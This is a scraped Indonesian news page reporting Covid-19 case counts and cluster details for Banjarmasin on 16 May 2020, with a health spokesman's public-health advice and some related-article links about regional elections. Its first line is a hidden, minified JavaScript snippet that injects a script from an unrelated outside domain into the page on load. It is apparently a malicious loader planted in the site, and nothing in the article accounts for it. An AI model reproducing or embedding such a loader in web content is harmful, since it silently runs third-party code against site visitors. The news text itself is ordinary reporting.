(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Perkembangan kasus positif Covid-19 di Kota Banjarmasin masih cukup mencengangkan. Berdasar data yang dirilis Gugus Tugas Percepatan Penanganan (P2) Covid-19 Kota Banjarmasin, hingga Sabtu (16/5/2020) terdapat 27 penambahan kasus terkonfirmasi positif Covid-19, sehingga kini tercatat sebanyak 129 kasus positif Covid-19 di Kota Banjarmasin.
Juru Bicara Tim Gugus Tugas P2 Covid-19 Kota Banjarmasin, Machli Riyadi mengungkapkan, 27 kasus tambahan tersebut berasal dari berbagai cluster yang ada di Kota Seribu Sungai ini.
“Tambahan ini datangnya dari berbagai klaster, namun tidak ada tambahan klaster baru di kota kita ini,” kata Machli pada awak media, Sabtu (16/5/2020) sore.
Dari 27 kasus baru, dua kasus di antaranya merupakan peningkatan status Pasien Dalam Pengawasan (PDP) yang meninggal dunia dengan hasil swab positifnya baru keluar hari ini. Dua kasus tersebut berasal dari kelurahan Pekapuran Raya dan Kelayan Luar.
Kemudian, lima kasus di antaranya juga masih termasuk peningkatan status PDP yang msih dalam perawatan dengan hasil swab positif Covid-19. Masing-masing kasus tersebut berasal dari Kelurahan Kebun Bunga, Alalak Selatan, Sungai Baru, Basirih dan Kelayan Selatan
Sementara, 20 kasus lainnya adalah orang yang positif Covid-19 melalui tracking yang dilakukan Puskesmas dan mendapatkan hasil swab positif. Dengan rincian, enam kasus berasal dari Kelurahan Pekapuran Raya, tiga kasus dari Kelurahan Pelambuan, lima kasus dari Kelurahan Sungai Bilu, dua kasus dari Kelurahan Pemurus luar. Serta masing-masing satu kasus dari Kelurahan Kuripan, Sungai Jingah, Pemurus Baru dan Kelayan Dalam.
Meski begitu, Kepala Dinas Kesehatan Kota Banjarmasin itu juga menyebutkan bahwa hari ini ada kasus terkonfirmasi positif yang dinyatakan sembuh sebanyak satu kasus, yaitu pasien yang berasal dari Kelurahan Kuin Utara.
Saat ini, dari 129 kasus positf Covid-19 yang tercatat, terdiri dari 80 kasus masih dalam perawatan, 18 kasus sembuh, 29 kasus meninggal dunia dan satu kasus luar wilayah.
Selain itu, Machli juga menerangkan, untuk kasus PDP terdapat penambahan sebanyak tiga kasus yang masimg-masing berasal dari Kelurahan Pekapuran Raya, Telaga Biru dan Mantuil.
Dengan demikian, jumlah PDP sampai saat ini berjumlah 66 kasus dengan rincian kategori perawatan ringan sebanyak lima kasus, sedang sembilan kasus dan berat 51 kasus.
Melihat kondisi tersebut, pria yang pernah menjabat sebagai Wadir Administrasi dan Keuangan RSJ Sambang Lihum itu menerangkan, penambahan kasus Covid-19 yang saat ini terjadi menandakan masih adanya proses penularan yang terjadi di lingkungan sekitar.
“Kami sangat berharap dukungan dari masyarakat untuk bisa disiplin dalam menjaga jarak dan selalu mengenakan masker jika memang harus beraktivitas di luar rumah serta selalu menerapkan pola hidup yang sehat salah satunya rajin mencuci tangan dengan sabun dan air mengalir,” ujar dia.
Machli juga mengimbau agar masyarakat bisa mengonsumsi makanan yang kaya akan gizi agar daya tahan tubuh tetap stabil dan kuat.
“Tidak perlu mewah, makanan bergizi bisa kita dapatkan di buah-buahan dan sayur yang ada di pasaran,” pungkas Machli. (kanalkalimantan.com/fikri)
KANALKALIMANTAN.COM, BANJARBARU - Forum Ambin Demokrasi turut menyikapi jalannya proses demokrasi dalam Pemilihan Wali Kota… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kota Banjarbaru mulai masuk masa tenang jelang Pemilihan Kepala Daerah (Pilkada) Serentak… Read More
Coblos Paslon yang Dibatalkan Suara Dianggap Tidak Sah Read More
KANALKALIMANTAN.COM, BANJARBARU - Penjabat Sementara (Pjs) Wali Kota Banjarbaru Dra Hj Nurliani MAP telah bertugas… Read More
KANALKALIMANTAN.COM, AMUNTAI - Menjelang hari pemilihan dan memasuki masa tenang Pemilihan Kepala Daerah (Pilkada) 2024,… Read More
KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) mulai mendistribusikan logistik… Read More
This website uses cookies.